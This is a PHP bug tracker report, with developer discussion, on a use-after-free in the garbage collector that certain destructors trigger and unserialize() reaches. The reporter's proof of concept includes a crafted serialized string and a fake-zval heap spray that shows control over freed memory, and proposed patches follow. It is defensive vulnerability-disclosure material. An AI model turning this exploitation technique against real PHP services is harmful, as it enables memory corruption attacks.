php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #72530 Use After Free in GC with Certain Destructors
Submitted: 2016-07-01 16:26 UTC Modified: 2017-01-09 20:47 UTC
Votes:6
Avg. Score:4.3 ± 0.7
Reproduced:4 of 4 (100.0%)
Same Version:0 (0.0%)
Same OS:0 (0.0%)
From: taoguangchen at icloud dot com Assigned: dmitry (profile)
Status: Assigned Package: *General Issues
PHP Version: 5.6.29 OS:
Private report: No CVE-ID: None
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2016-07-01 16:26 UTC] taoguangchen at icloud dot com
Description:
------------
Use After Free in unserialize() with GC

PoC:
```
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}
var_dump($out[2]);

class ryat
{
	var $ryat;
	var $chtg;
	
	function __destruct()
	{
		$this->chtg = $this->ryat;
	}
}

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```

Expected result:
```
int(2)
```

Actual result:
```
array(1) {
  [0]=>
  int(1122334455)
}
```

Fix (This fix may break some test scripts):
```
"R:" iv ";"		{
	...
	*rval = *rval_ref;
+	if (Z_REFCOUNT_PP(rval_ref) == 1) {
+		Z_ADDREF_PP(rval_ref);
+	}
	Z_ADDREF_PP(rval);
	Z_SET_ISREF_PP(rval);
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-02 01:09 UTC] taoguangchen at icloud dot com
update fix, and fix other bugs:
```
	var_push_dtor_no_addref(var_hash, rval);
	}
	*rval = *rval_ref;
+	Z_ADDREF_PP(rval_ref);
+	if (Z_REFCOUNT_PP(rval) > 1) {
+		SEPARATE_ZVAL_IF_NOT_REF(rval);
+	}
	Z_ADDREF_PP(rval);
	Z_SET_ISREF_PP(rval);
```
 [2016-07-02 08:19 UTC] stas@php.net
-Type: Security +Type: Bug -PHP Version: 5.5.37 +PHP Version: 5.6.23
 [2016-07-02 08:19 UTC] stas@php.net
I don't think this qualifies as security issue - since you need specially crafter destructor.
 [2017-01-01 18:47 UTC] nikic@php.net
In PHP 7.0+ this results in:

array(1) {
  [0]=>
  object(ryat)#1 (2) {
    ["ryat"]=>
    array(1) {
      [0]=>
      *RECURSION*
    }
    ["chtg"]=>
    &array(1) {
      [0]=>
      *RECURSION*
    }
  }
}

I believe this output is correct, as the following code (to which the unserialize should roughly correspond) has the same output:

$a = [];
$a[0] = 1;
$o = new ryat;
$o->ryat =& $a[1];
$o->chtg = 2;
$a[1] = [$o];
unset($a[1]);
$a[1] = 3;
$a[2] =& $o->chtg;
unset($o);
gc_collect_cycles();
var_dump($a[2]);

This also shows that the issue is not related to unserialize(), but rather to GC with certain destructors. The GC problem has been fixed in 7.0 (and won't be fixed in 5.6), so closing here.
 [2017-01-01 18:47 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 [2017-01-02 06:56 UTC] taoguangchen at icloud dot com
-Status: Closed +Status: Assigned -PHP Version: 5.6.23 +PHP Version: 5.6.29
 [2017-01-02 06:56 UTC] taoguangchen at icloud dot com
@nikic

Unfortunately, the bug was still unfixed in PHP 7.x, you can test the following code:
```
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
for ($i = 0; $i < 5; $i++) {
	$v[$i] = 'hi'.$i;
}
var_dump($out[2]);

class ryat
{
	var $ryat;
	var $chtg;
	
	function __destruct()
	{
		$this->chtg = $this->ryat;
		$this->ryat = 1;
	}
}
```
 [2017-01-02 07:03 UTC] taoguangchen at icloud dot com
-Summary: Use After Free in unserialize() with GC +Summary: Use After Free in GC with Certain Destructors
 [2017-01-02 07:03 UTC] taoguangchen at icloud dot com
The bug is related to GC with certain destructors, but trigged easily via unserialize().
 [2017-01-02 12:13 UTC] nikic@php.net
-Status: Assigned +Status: Open
 [2017-01-02 12:13 UTC] nikic@php.net
Right, issue not fully fixed :( Here's a reduced testcase without unserialize (generates memory errors under valgrind):

<?php

class ryat {
    var $ryat;
    var $chtg;

    function __destruct() {
        $this->chtg = $this->ryat;
        $this->ryat = 1;
    }
}

$o = new ryat;
$o->ryat = $o;
$x =& $o->chtg;

unset($o);
gc_collect_cycles();
var_dump($x);

The problem is that the GC uses refcount to check whether a new reference has been added during destruction. However, in this case refcount of object(ryat) stays the same, while a reference to it still becomes externally visible.
 [2017-01-09 20:47 UTC] nikic@php.net
-Assigned To: nikic +Assigned To: dmitry
 [2017-01-09 20:47 UTC] nikic@php.net
@dmitry: Can you please take a look at this issue? The GC code for dealing with references added during __destruct() is not entirely correct, even in PHP 7, because the refcount check is insufficient to detect new outside reference. I don't see any simple fix for this problem :/
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Nov 19 01:31:42 2017 UTC